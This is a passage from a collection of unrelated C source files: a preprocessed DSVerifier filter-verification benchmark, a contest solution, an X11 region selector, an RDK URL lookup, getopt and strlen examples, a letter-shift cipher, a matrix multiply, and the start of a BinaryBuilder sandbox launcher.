# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
determinant(observabilityMatrix_double,nStates) != 0
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
determinant(observabilityMatrix_double,nStates) != 0
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
) ; else __assert_fail (
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
"determinant(observabilityMatrix_double,nStates) != 0"
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h", 134, __extension__ __PRETTY_FUNCTION__); }))
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
;
}
return 0;
}
# 47 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_magnitude.h" 1
# 16 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_magnitude.h"
extern filter_parameters filter;
extern implementation impl;
extern digital_system ds;
# 28 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_magnitude.h"
void resp_mag(double* num, int lnum, double* den, int lden, double* res, int N) {
double w;
int m, i;
double out_numRe[N + 1];
double out_numIm[N + 1];
double out_denRe[N + 1];
double out_denIm[N + 1];
double old_out_Re;
double zero_test;
for (w = 0, i = 0; w <= 3.14159265358979323846; w += 3.14159265358979323846 / N, ++i) {
out_numRe[i] = num[0];
out_numIm[i] = 0;
for (m = 1; m < lnum; ++m) {
old_out_Re = out_numRe[i];
out_numRe[i] = cosTyl(w, 6) * out_numRe[i] - sinTyl(w, 6) * out_numIm[i] + num[m];
out_numIm[i] = sinTyl(w, 6) * old_out_Re + cosTyl(w, 6) * out_numIm[i];
}
out_denRe[i] = den[0];
out_denIm[i] = 0;
for (m = 1; m < lden; ++m) {
old_out_Re = out_denRe[i];
out_denRe[i] = cosTyl(w, 6) * out_denRe[i] - sinTyl(w, 6) * out_denIm[i] + den[m];
out_denIm[i] = sinTyl(w, 6) * old_out_Re + cosTyl(w, 6) * out_denIm[i];
}
res[i] = sqrt3(out_numRe[i] * out_numRe[i] + out_numIm[i] * out_numIm[i]);
zero_test = sqrt3(out_denRe[i] * out_denRe[i] + out_denIm[i] * out_denIm[i]);
__DSVERIFIER_assume(zero_test != 0);
res[i] = res[i] / zero_test;
}
}
int verify_magnitude(void) {
int freq_response_samples = 100;
double w;
double w_incr = 1.0 / freq_response_samples;
double res[freq_response_samples+1];
int i,j;
fxp_t a_fxp[ds.a_size];
fxp_double_to_fxp_array(ds.a, a_fxp, ds.a_size);
double _a[ds.a_size];
fxp_to_double_array(_a, a_fxp, ds.a_size);
fxp_t b_fxp[ds.b_size];
fxp_double_to_fxp_array(ds.b, b_fxp, ds.b_size);
double _b[ds.b_size];
fxp_to_double_array(_b, b_fxp, ds.b_size);
resp_mag(ds.b, ds.b_size, ds.a, ds.a_size, res, freq_response_samples);
if (filter.type == 1) {
for (i = 0, w = 0; (w <= 1.0); ++i, w += w_incr) {
if (w <= filter.wp) {
__DSVERIFIER_assert_msg(res[i] >= filter.Ap, "|----------------Passband Failure-------------|");
} else if (w == filter.wc) {
__DSVERIFIER_assert_msg(res[i] <= filter.Ac, "|-------------Cutoff Frequency Failure--------|");
} else if ((w >= filter.wr) && (w <= 1)) {
__DSVERIFIER_assert_msg(res[i] <= filter.Ar, "|----------------Stopband Failure-------------|");
}
}
} else if (filter.type == 2) {
for (i = 0, w = 0; (w <= 1.0); ++i, w += w_incr) {
if (w <= filter.wr) {
__DSVERIFIER_assert_msg(res[i] <= filter.Ar, "|----------------Stopband Failure-------------|");
} else if (w == filter.wc) {
__DSVERIFIER_assert_msg(res[i] <= filter.Ac, "|-------------Cutoff Frequency Failure--------|");
} else if ((w > filter.wp) && (w <= 1)) {
__DSVERIFIER_assert_msg(res[i] >= filter.Ap, "|----------------Passband Failure-------------|");
}
}
} else {
__DSVERIFIER_assert(0);
}
return 0;
}
# 48 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
extern digital_system ds;
extern digital_system plant;
digital_system plant_cbmc;
extern digital_system controller;
extern implementation impl;
extern hardware hw;
extern digital_system_state_space _controller;
extern filter_parameters filter;
unsigned int nondet_uint();
extern void initials();
void validation();
void call_verification_task(void * verification_task);
void call_closedloop_verification_task(void * closedloop_verification_task);
float nondet_float();
double nondet_double();
int main(){
initialization();
validation();
if (1 == 0)
rounding_mode = 0;
else if (1 == 1)
rounding_mode = 1;
else if (1 == 2)
rounding_mode = 2;
if (7 == 3)
{
call_verification_task(&verify_overflow);
}
else if (7 == 2)
{
call_verification_task(&verify_limit_cycle);
}
else if (7 == 6)
{
call_verification_task(&verify_error);
}
else if (7 == 1)
{
call_verification_task(&verify_zero_input_limit_cycle);
}
else if (7 == 4)
{
call_verification_task(&verify_timing_msp_430);
}
else if (7 == 5)
{
call_verification_task(&verify_generic_timing);
}
else if (7 == 7)
{
call_verification_task(&verify_stability);
}
else if (7 == 8)
{
call_verification_task(&verify_minimum_phase);
}
else if (7 == 9)
{
call_closedloop_verification_task(&verify_stability_closedloop_using_dslib);
}
else if (7 == 10)
{
call_closedloop_verification_task(&verify_limit_cycle_closed_loop);
}
else if (7 == 11)
{
call_closedloop_verification_task(&verify_error_closedloop);
}
else if (7 == 12)
{
verify_error_state_space();
}
else if (7 == 16)
{
verify_safety_state_space();
}
else if (7 == 13)
{
verify_controllability();
}
else if (7 == 14)
{
verify_observability();
}
else if (7 == 15)
{
verify_limit_cycle_state_space();
}
else if (7 == 18)
{
call_verification_task(&verify_magnitude);
}
return 0;
}
void validation()
{
if (7 == 12 || 7 == 16 ||
7 == 15 || 7 == 13 ||
7 == 14)
{
if (0 == 0)
{
printf("\n\n********************************************************************************************\n");
printf("* set a K_SIZE to use this property in DSVerifier (use: -DK_SIZE=VALUE) *\n");
printf("********************************************************************************************\n");
__DSVERIFIER_assert(0);
exit(1);
}
initials();
return;
}
if (((7 != 9) && (7 != 10) &&
(7 != 11)) && (ds.a_size == 0 || ds.b_size == 0))
{
printf("\n\n****************************************************************************\n");
printf("* set (ds and impl) parameters to check with DSVerifier *\n");
printf("****************************************************************************\n");
__DSVERIFIER_assert(0);
}
if ((7 == 9) || (7 == 10) ||
(7 == 11))
{
if (controller.a_size == 0 || plant.b_size == 0 || impl.int_bits == 0 )
{
printf("\n\n*****************************************************************************************************\n");
printf("* set (controller, plant, and impl) parameters to check CLOSED LOOP with DSVerifier *\n");
printf("*****************************************************************************************************\n");
__DSVERIFIER_assert(0);
}
else
{
printf("\n\n*****************************************************************************************************\n");
printf("* set (controller and impl) parameters so that they do not overflow *\n");
printf("*****************************************************************************************************\n");
unsigned j;
for (j = 0; j < controller.a_size; ++j)
{
const double value=controller.a[j];
__DSVERIFIER_assert(value <= _dbl_max);
__DSVERIFIER_assert(value >= _dbl_min);
}
for (j = 0; j < controller.b_size; ++j)
{
const double value=controller.b[j];
__DSVERIFIER_assert(value <= _dbl_max);
__DSVERIFIER_assert(value >= _dbl_min);
}
}
if (controller.b_size > 0)
{
unsigned j, zeros=0;
for (j = 0; j < controller.b_size; ++j)
{
if (controller.b[j]==0)
++zeros;
}
if (zeros == controller.b_size)
{
printf("\n\n*****************************************************************************************************\n");
printf("* The controller numerator must not be zero *\n");
printf("*****************************************************************************************************\n");
__DSVERIFIER_assert(0);
}
}
if (controller.a_size > 0)
{
unsigned j, zeros=0;
for (j = 0; j < controller.a_size; ++j)
{
if (controller.a[j]==0)
++zeros;
}
if (zeros == controller.a_size)
{
printf("\n\n*****************************************************************************************************\n");
printf("* The controller denominator must not be zero *\n");
printf("*****************************************************************************************************\n");
__DSVERIFIER_assert(0);
}
}
if (0 == 0)
{
printf("\n\n***************************************************************************************************************\n");
printf("* set a connection mode to check CLOSED LOOP with DSVerifier (use: --connection-mode TYPE) *\n");
printf("***************************************************************************************************************\n");
__DSVERIFIER_assert(0);
}
}
if (7 == 0)
{
printf("\n\n***************************************************************************************\n");
printf("* set the property to check with DSVerifier (use: --property NAME) *\n");
printf("***************************************************************************************\n");
__DSVERIFIER_assert(0);
}
if ((7 == 3) || (7 == 2) || (7 == 1) ||
(7 == 10) || (7 == 11) ||
(7 == 4 || 7 == 5) || 7 == 6)
{
if ((15 == 0) && !(0 == 1))
{
printf("\n\n********************************************************************************************\n");
printf("* set a X_SIZE to use this property in DSVerifier (use: --x-size VALUE) *\n");
printf("********************************************************************************************\n");
__DSVERIFIER_assert(0);
}
else if (0 == 1)
{
X_SIZE_VALUE = nondet_uint();
__DSVERIFIER_assume( X_SIZE_VALUE > (2 * ds.a_size));
}
else if (15 < 0)
{
printf("\n\n********************************************************************************************\n");
printf("* set a X_SIZE > 0 *\n");
printf("********************************************************************************************\n");
__DSVERIFIER_assert(0);
}
else
{
X_SIZE_VALUE = 15;
}
}
if ((2 == 0) && (7 != 9) && (7 != 18))
{
printf("\n\n*********************************************************************************************\n");
printf("* set the realization to check with DSVerifier (use: --realization NAME) *\n");
printf("*********************************************************************************************\n");
__DSVERIFIER_assert(0);
}
if (7 == 6 || 7 == 11)
{
if (impl.max_error == 0)
{
printf("\n\n***********************************************************************\n");
printf("* provide the maximum expected error (use: impl.max_error) *\n");
printf("***********************************************************************\n");
__DSVERIFIER_assert(0);
}
}
if (7 == 4 || 7 == 5)
{
if (7 == 5 || 7 == 4)
{
if (hw.clock == 0l)
{
printf("\n\n***************************\n");
printf("* Clock could not be zero *\n");
printf("***************************\n");
__DSVERIFIER_assert(0);
}
hw.cycle = ((double) 1.0 / hw.clock);
if (hw.cycle < 0)
{
printf("\n\n*********************************************\n");
printf("* The cycle time could not be representable *\n");
printf("*********************************************\n");
__DSVERIFIER_assert(0);
}
if (ds.sample_time == 0)
{
printf("\n\n*****************************************************************************\n");
printf("* provide the sample time of the digital system (ds.sample_time) *\n");
printf("*****************************************************************************\n");
__DSVERIFIER_assert(0);
}
}
}
if (7 == 18)
{
if (!((filter.Ap > 0) && (filter.Ac >0) && (filter.Ar >0)))
{
printf("\n\n*****************************************************************************\n");
printf("* set values bigger than 0 for Ap, Ac and Ar* \n");
printf("*****************************************************************************\n");
__DSVERIFIER_assert(0);
}
}
if ((2 == 7) || (2 == 8) || (2 == 9) ||
(2 == 10) || (2 == 11) || (2 == 12))
{
printf("\n\n******************************************\n");
printf("* Temporarily the cascade modes are disabled *\n");
printf("**********************************************\n");
__DSVERIFIER_assert(0);
}
}
void call_verification_task(void * verification_task)
{
int i = 0;
_Bool base_case_executed = 0;
if (0 == 2)
{
for(i=0; i<ds.b_size; i++)
{
if (ds.b_uncertainty[i] > 0)
{
double factor = ds.b_uncertainty[i];
factor = factor < 0 ? factor * (-1) : factor;
double min = ds.b[i] - factor;
double max = ds.b[i] + factor;
if ((factor == 0) && (base_case_executed == 1))
{
continue;
}
else if ((factor == 0) && (base_case_executed == 0))
{
base_case_executed = 1;
}
ds.b[i] = nondet_double();
__DSVERIFIER_assume((ds.b[i] >= min) && (ds.b[i] <= max));
}
}
for(i=0; i<ds.a_size; i++)
{
if (ds.a_uncertainty[i] > 0)
{
double factor = ds.a_uncertainty[i];
factor = factor < 0 ? factor * (-1) : factor;
double min = ds.a[i] - factor;
double max = ds.a[i] + factor;
if ((factor == 0) && (base_case_executed == 1))
{
continue;
}
else if ((factor == 0) && (base_case_executed == 0))
{
base_case_executed = 1;
}
ds.a[i] = nondet_double();
__DSVERIFIER_assume((ds.a[i] >= min) && (ds.a[i] <= max));
}
}
}
else
{
int i=0;
for(i=0; i<ds.b_size; i++)
{
if (ds.b_uncertainty[i] > 0)
{
double factor = ((ds.b[i] * ds.b_uncertainty[i]) / 100);
factor = factor < 0 ? factor * (-1) : factor;
double min = ds.b[i] - factor;
double max = ds.b[i] + factor;
if ((factor == 0) && (base_case_executed == 1))
{
continue;
}
else if ((factor == 0) && (base_case_executed == 0))
{
base_case_executed = 1;
}
ds.b[i] = nondet_double();
__DSVERIFIER_assume((ds.b[i] >= min) && (ds.b[i] <= max));
}
}
for(i=0; i<ds.a_size; i++)
{
if (ds.a_uncertainty[i] > 0)
{
double factor = ((ds.a[i] * ds.a_uncertainty[i]) / 100);
factor = factor < 0 ? factor * (-1) : factor;
double min = ds.a[i] - factor;
double max = ds.a[i] + factor;
if ((factor == 0) && (base_case_executed == 1))
{
continue;
}
else if ((factor == 0) && (base_case_executed == 0))
{
base_case_executed = 1;
}
ds.a[i] = nondet_double();
__DSVERIFIER_assume((ds.a[i] >= min) && (ds.a[i] <= max));
}
}
}
((void(*)())verification_task)();
}
void call_closedloop_verification_task(void * closedloop_verification_task)
{
_Bool base_case_executed = 0;
int i=0;
for(i=0; i<plant.b_size; i++)
{
if (plant.b_uncertainty[i] > 0)
{
double factor = ((plant.b[i] * plant.b_uncertainty[i]) / 100);
factor = factor < 0 ? factor * (-1) : factor;
double min = plant.b[i] - factor;
double max = plant.b[i] + factor;
if ((factor == 0) && (base_case_executed == 1))
{
continue;
}
else if ((factor == 0) && (base_case_executed == 0))
{
base_case_executed = 1;
}
plant_cbmc.b[i] = nondet_double();
__DSVERIFIER_assume((plant_cbmc.b[i] >= min) && (plant_cbmc.b[i] <= max));
}else{
plant_cbmc.b[i] = plant.b[i];
}
}
for(i=0; i<plant.a_size; i++)
{
if (plant.a_uncertainty[i] > 0)
{
double factor = ((plant.a[i] * plant.a_uncertainty[i]) / 100);
factor = factor < 0 ? factor * (-1) : factor;
double min = plant.a[i] - factor;
double max = plant.a[i] + factor;
if ((factor == 0) && (base_case_executed == 1))
{
continue;
}
else if ((factor == 0) && (base_case_executed == 0))
{
base_case_executed = 1;
}
plant_cbmc.a[i] = nondet_double();
__DSVERIFIER_assume((plant_cbmc.a[i] >= min) && (plant_cbmc.a[i] <= max));
}
else
{
plant_cbmc.a[i] = plant.a[i];
}
}
((void(*)())closedloop_verification_task)();
}
# 2 "benchmarks/ds-08-impl1.c" 2
digital_system ds = {
.b = { 0.0096, -0.009 },
.b_size = 2,
.a = { 0.02, 0.0 },
.a_size = 2,
.sample_time = 0.02
};
implementation impl = {
.int_bits = 3,
.frac_bits = 13,
.max = 1.0,
.min = -1.0
};
|
the_stack_data/103874.c | //
// AOJ2001.c
//
//
// Created by knuu on 2014/05/18.
//
//
#include <stdio.h>
int main(void) {
int n,m,a,h,p,q,i,j,flag;
while (scanf("%d %d %d",&n,&m,&a)!=EOF&&(n!=0||m!=0||a!=0)) {
int amida[1001][1001][2]={{{0}}};
for (i=0; i<m; i++) {
scanf("%d %d %d",&h,&p,&q);
amida[h][0][0]++;
amida[h][amida[h][0][0]][0]=p;
amida[h][amida[h][0][0]][1]=q;
}
for (i=1000; i>0; i--) {
flag=0;
for (j=1; j<=amida[i][0][0]; j++) {
if (amida[i][j][0]==a) {
flag=2;
break;
} else if (amida[i][j][1]==a) {
flag=1;
break;
}
}
if (flag!=0) {
a=amida[i][j][flag-1];
}
}
printf("%d\n",a);
}
return 0;
} |
the_stack_data/115765569.c | #include<stdio.h>
#include<stdlib.h>
#include<X11/Xlib.h>
#include<X11/cursorfont.h>
int main(void)
{
int rx = 0, ry = 0, rw = 0, rh = 0;
int rect_x = 0, rect_y = 0, rect_w = 0, rect_h = 0;
int btn_pressed = 0, done = 0;
XEvent ev;
Display *disp = XOpenDisplay(NULL);
if(!disp)
return EXIT_FAILURE;
Screen *scr = NULL;
scr = ScreenOfDisplay(disp, DefaultScreen(disp));
Window root = 0;
root = RootWindow(disp, XScreenNumberOfScreen(scr));
Cursor cursor, cursor2;
cursor = XCreateFontCursor(disp, XC_left_ptr);
cursor2 = XCreateFontCursor(disp, XC_lr_angle);
XGCValues gcval;
gcval.foreground = XWhitePixel(disp, 0);
gcval.function = GXxor;
gcval.background = XBlackPixel(disp, 0);
gcval.plane_mask = gcval.background ^ gcval.foreground;
gcval.subwindow_mode = IncludeInferiors;
GC gc;
gc = XCreateGC(disp, root,
GCFunction | GCForeground | GCBackground | GCSubwindowMode,
&gcval);
/* this XGrab* stuff makes XPending true ? */
if ((XGrabPointer
(disp, root, False,
ButtonMotionMask | ButtonPressMask | ButtonReleaseMask, GrabModeAsync,
GrabModeAsync, root, cursor, CurrentTime) != GrabSuccess))
printf("couldn't grab pointer:");
if ((XGrabKeyboard
(disp, root, False, GrabModeAsync, GrabModeAsync,
CurrentTime) != GrabSuccess))
printf("couldn't grab keyboard:");
while (!done) {
while (!done && XPending(disp)) {
XNextEvent(disp, &ev);
switch (ev.type) {
case MotionNotify:
/* this case is purely for drawing rect on screen */
if (btn_pressed) {
if (rect_w) {
/* re-draw the last rect to clear it */
XDrawRectangle(disp, root, gc, rect_x, rect_y, rect_w, rect_h);
} else {
/* Change the cursor to show we're selecting a region */
XChangeActivePointerGrab(disp,
ButtonMotionMask | ButtonReleaseMask,
cursor2, CurrentTime);
}
rect_x = rx;
rect_y = ry;
rect_w = ev.xmotion.x - rect_x;
rect_h = ev.xmotion.y - rect_y;
if (rect_w < 0) {
rect_x += rect_w;
rect_w = 0 - rect_w;
}
if (rect_h < 0) {
rect_y += rect_h;
rect_h = 0 - rect_h;
}
/* draw rectangle */
XDrawRectangle(disp, root, gc, rect_x, rect_y, rect_w, rect_h);
XFlush(disp);
}
break;
case ButtonPress:
btn_pressed = 1;
rx = ev.xbutton.x;
ry = ev.xbutton.y;
break;
case ButtonRelease:
done = 1;
break;
}
}
}
/* clear the drawn rectangle */
if (rect_w) {
XDrawRectangle(disp, root, gc, rect_x, rect_y, rect_w, rect_h);
XFlush(disp);
}
rw = ev.xbutton.x - rx;
rh = ev.xbutton.y - ry;
/* cursor moves backwards */
if (rw < 0) {
rx += rw;
rw = 0 - rw;
}
if (rh < 0) {
ry += rh;
rh = 0 - rh;
}
XCloseDisplay(disp);
printf("w%d h%d x%d y%d\n",rw,rh,rx,ry);
return EXIT_SUCCESS;
}
|
the_stack_data/1234982.c | /************************************************************************************
If not stated otherwise in this file or this component's Licenses.txt file the
following copyright and licenses apply:
Copyright 2018 RDK Management
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
**************************************************************************/
#ifdef ENABLE_SESHAT
#include "ssp_global.h"
#include "stdlib.h"
#include "ccsp_dm_api.h"
#include "ccsp_lmliteLog_wrapper.h"
#include "webpa_interface.h"
#include "webpa_pd.h"
/*----------------------------------------------------------------------------*/
/* Macros */
/*----------------------------------------------------------------------------*/
#define PARODUS_SERVICE "Parodus"
/*----------------------------------------------------------------------------*/
/* Function Prototypes */
/*----------------------------------------------------------------------------*/
static void get_seshat_url(char **url);
/*----------------------------------------------------------------------------*/
/* External Functions */
/*----------------------------------------------------------------------------*/
void get_parodus_url(char **url)
{
char *seshat_url = NULL;
char *discovered_url = NULL;
size_t discovered_url_size = 0;
get_seshat_url(&seshat_url);
if( NULL == seshat_url ) {
CcspLMLiteConsoleTrace(("RDK_LOG_ERROR, seshat_url is not present in device.properties file\n"));
return;
}
CcspLMLiteConsoleTrace(("RDK_LOG_INFO, seshat_url formed is %s\n", seshat_url));
if( 0 == init_lib_seshat(seshat_url) ) {
CcspLMLiteConsoleTrace(("RDK_LOG_INFO, seshatlib initialized! (url %s)\n", seshat_url));
discovered_url = seshat_discover(PARODUS_SERVICE);
if( NULL != discovered_url ) {
discovered_url_size = strlen(discovered_url);
*url = strndup(discovered_url, discovered_url_size);
CcspLMLiteConsoleTrace(("RDK_LOG_INFO, seshatlib discovered url = %s, parodus url = %s\n", discovered_url, *url));
free(discovered_url);
} else {
CcspLMLiteConsoleTrace(("RDK_LOG_ERROR, seshatlib registration error (url %s)!", discovered_url));
}
} else {
CcspLMLiteConsoleTrace(("RDK_LOG_ERROR, seshatlib not initialized! (url %s)\n", seshat_url));
}
if( NULL == *url ) {
CcspLMLiteConsoleTrace(("RDK_LOG_ERROR, parodus url (url %s) is not present in seshatlib (url %s)\n", *url, seshat_url));
}
CcspLMLiteConsoleTrace(("RDK_LOG_DEBUG, parodus url formed is %s\n", *url));
shutdown_seshat_lib();
}
/*----------------------------------------------------------------------------*/
/* Internal functions */
/*----------------------------------------------------------------------------*/
/**
* @brief Helper function to retrieve seshat URL.
*
* @param[out] URL.
*
*/
static void get_seshat_url(char **url)
{
FILE *fp = fopen(DEVICE_PROPS_FILE, "r");
if( NULL != fp ) {
char str[255] = {'\0'};
while( fscanf(fp,"%s", str) != EOF ) {
char *value = NULL;
if( NULL != (value = strstr(str, "SESHAT_URL=")) ) {
value = value + strlen("SESHAT_URL=");
*url = strdup(value);
CcspLMLiteConsoleTrace(("RDK_LOG_INFO, seshat_url is %s\n", *url));
}
}
} else {
CcspLMLiteConsoleTrace(("RDK_LOG_ERROR, Failed to open device.properties file:%s\n", DEVICE_PROPS_FILE));
}
fclose(fp);
}
#endif
|
the_stack_data/205757.c | /******************************************************************************
* @from azrael.digipen.edu/~mmead/www/Courses/CS180/getopt.html
* @brief
* Non-Option arguments
*
* | command line options | output |
* | --------------------------------------------------------- |
* | x -a one y -X z | Option 'a' has arg: one |
* | | Option 'X' was provided |
* | | Non-option args: x y z |
* | --------------------------------------------------------- |
* | x y z -a one -b two | Option 'a' has arg: one |
* | | Option 'b' has arg: two |
* | | Non-option args: x y z |
*****************************************************************************/
#include <unistd.h>
#include <getopt.h>
#include <stdio.h>
int main(int argc, char *argv[])
{
for (int i = 0; i < argc; i++)
{
printf("arg#%d = %s\n", i, argv[i]);
}
int opt;
while ((opt = getopt(argc, argv, ":a:b:X")) != -1)
{
switch (opt)
{
case 'a':
{
printf("Option 'a' has arg: %s\n", optarg);
}break;
case 'b':
{
printf("Option 'b' has arg: %s\n", optarg);
}break;
case 'X':
{
printf("Option 'X' was provided\n");
}break;
case '?':
{
printf("Unknown option: %c\n", optopt);
}break;
case ':':
{
printf("Missing arg for '%c'\n", (char)opt);
}break;
}
}
// Get all of the non-option arguments
if (optind < argc)
{
printf("Non-option args: ");
while (optind < argc)
{
printf("%s ", argv[optind++]);
}
printf("\n");
}
printf("bye bye\n");
return 0;
}
|
the_stack_data/82149.c | /*-
* Copyright (c) 1990, 1993
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 4. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
/*
* Portions copyright (c) 2009-2014, ARM Limited and Contributors. All rights reserved.
*/
#include <stddef.h>
size_t
strlen(str)
const char *str;
{
register const char *s;
for (s = str; *s; ++s);
return(s - str);
}
|
the_stack_data/63787.c | #include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
FILE *fpIn, *fpOut;
void processFile(char buf[]);
void cipher(char buf[]);
void outputCode(char buf[]);
int main(void) {
char buf[100000];
processFile(buf);
cipher(buf);
outputCode(buf);
return 0;
}
void processFile(char *buf) {
int i, c;
if (!(fpIn = fopen("congress.txt", "r"))) {
printf("File could not be opened for input.\n");
exit(1);
}
i = 0;
while((c = getc(fpIn)) != EOF) {
if (isalpha(c))
buf[i++] = toupper(c);
}
buf[i] = '\0';
fclose(fpIn);
}
void cipher(char *buf) {
int shift = 13;
while (*buf) {
*buf = (char) (*buf + shift);
if (*buf > 'Z')
*buf = (char) (*buf-26);
++buf;
}
}
void outputCode(char *buf) {
int i = 0;
if (!(fpOut = fopen("csis", "w"))) {
printf("File could not be opened for input.\n");
exit(1);
}
while (*buf) {
putchar(*buf);
fputc(*buf, fpOut);
++buf;
if (++i % 50 == 0) {
putchar('\n');
fputc('\n', fpOut);
}
else if (i % 5 == 0) {
putchar(' ');
fputc(' ', fpOut);
}
}
}
|
the_stack_data/225142250.c | #include <stdio.h>
#define N 4
void multiply(int mat1[][N], int mat2[][N], int res[][N])
{
int i, j, k;
for (i = 0; i < N; i++)
{
for (j = 0; j < N; j++)
{
res[i][j] = 0;
for (k = 0; k < N; k++)
res[i][j] += mat1[i][k] * mat2[k][j];
}
}
}
int main()
{
int mat1[N][N] = {{1, 1, 1, 1},
{2, 2, 2, 2},
{3, 3, 3, 3},
{4, 4, 4, 4}};
int mat2[N][N] = {{1, 1, 1, 1},
{2, 2, 2, 2},
{3, 3, 3, 3},
{4, 4, 4, 4}};
int res[N][N]; // To store result
int i, j;
multiply(mat1, mat2, res);
printf("Result matrix is \n");
for (i = 0; i < N; i++)
{
for (j = 0; j < N; j++)
printf("%d ", res[i][j]);
printf("\n");
}
return 0;
}
|
the_stack_data/143566.c | /* Copyright (c) 2017 Julia Computing Inc */
#define _GNU_SOURCE
/*
sandbox.c - Combination sandbox execution platform and init replacement
This file serves as the entrypoint into our sandboxed/virtualized execution environment for
BinaryBuilder.jl; it has three execution modes:
1) Unprivileged container mode.
2) Privileged container mode.
3) Init mode.
Each mode does similar things, but in a different order and with different privileges. Eventually,
all modes seek the same result; to run a user program with the base root fs and any other shards
requested by the user within the BinaryBuilder.jl execution environment. We will walk through the
three modes here, to explain what each does.
* Unprivileged container mode is the "normal" mode of execution; it attempts to use the native
kernel namespace abilities to setup its environment without ever needing to be `root`. It does this
by creating a user namespace, then using its root privileges within the namespace to mount the
necesary shards, `chroot`, etc... within the right places in the new mount namespace created within
the container.
* Privileged container mode is what happens when `sandbox` is invoked with EUID == 0. In this
mode, the mounts and chroots and whatnot are performed _before_ creating a new user namespace.
This is used as a workaround for kernels that do not have the capabilities for creating mounts
within user namespaces. Arch Linux is a great example of this.
Init mode is used when `sandbox` is invoked with PID == 1. In this mode, some extra work needs to
happen first as this sandbox is the first user program running on a virtualized system, e.g. inside
of QEMU, and it needs to setup the plan 9 filesystem mounts and whatnot. There is no
containerization or namespaces that happen in this mode.
To test this executable, compile it with:
gcc -std=c99 -o /tmp/sandbox ./sandbox.c
Then run it, mounting in a rootfs with a workspace and a single map:
BB=$(echo ~/.julia/v0.6/BinaryBuilder/deps)
P=/usr/local/bin:/usr/bin:/bin:/opt/x86_64-linux-gnu/bin
mkdir -p /tmp/workspace
PATH=$P /tmp/sandbox --verbose --rootfs $BB/root --workspace /tmp/workspace:/workspace --cd /workspace --map $BB/shards/x86_64-linux-gnu:/opt/x86_64-linux-gnu /bin/bash
*/
/* Seperate because the headers below don't have all dependencies properly
declared */
#include <sys/socket.h>
#include <assert.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/capability.h>
#include <linux/socket.h>
#include <linux/if.h>
#include <linux/in.h>
#include <linux/netlink.h>
#include <linux/route.h>
#include <linux/rtnetlink.h>
#include <linux/sockios.h>
#include <linux/veth.h>
#include <sched.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mount.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <dirent.h>
#include <libgen.h>
#include <sys/stat.h>
#include <sys/reboot.h>
#include <linux/reboot.h>
#include <linux/limits.h>
#include <getopt.h>
#include <byteswap.h>
/**** Global Variables ***/
// sandbox_root is the location of the rootfs on disk. This is required for non-init execution
char *sandbox_root = NULL;
// new_cd is where we will cd to once we start running.
char *new_cd = NULL;
// verbose sets whether we're in verbose mode.
unsigned char verbose = 0;
// Linked list of volume mappings
struct map_list {
char *map_path;
char *outside_path;
struct map_list *prev;
};
struct map_list *maps;
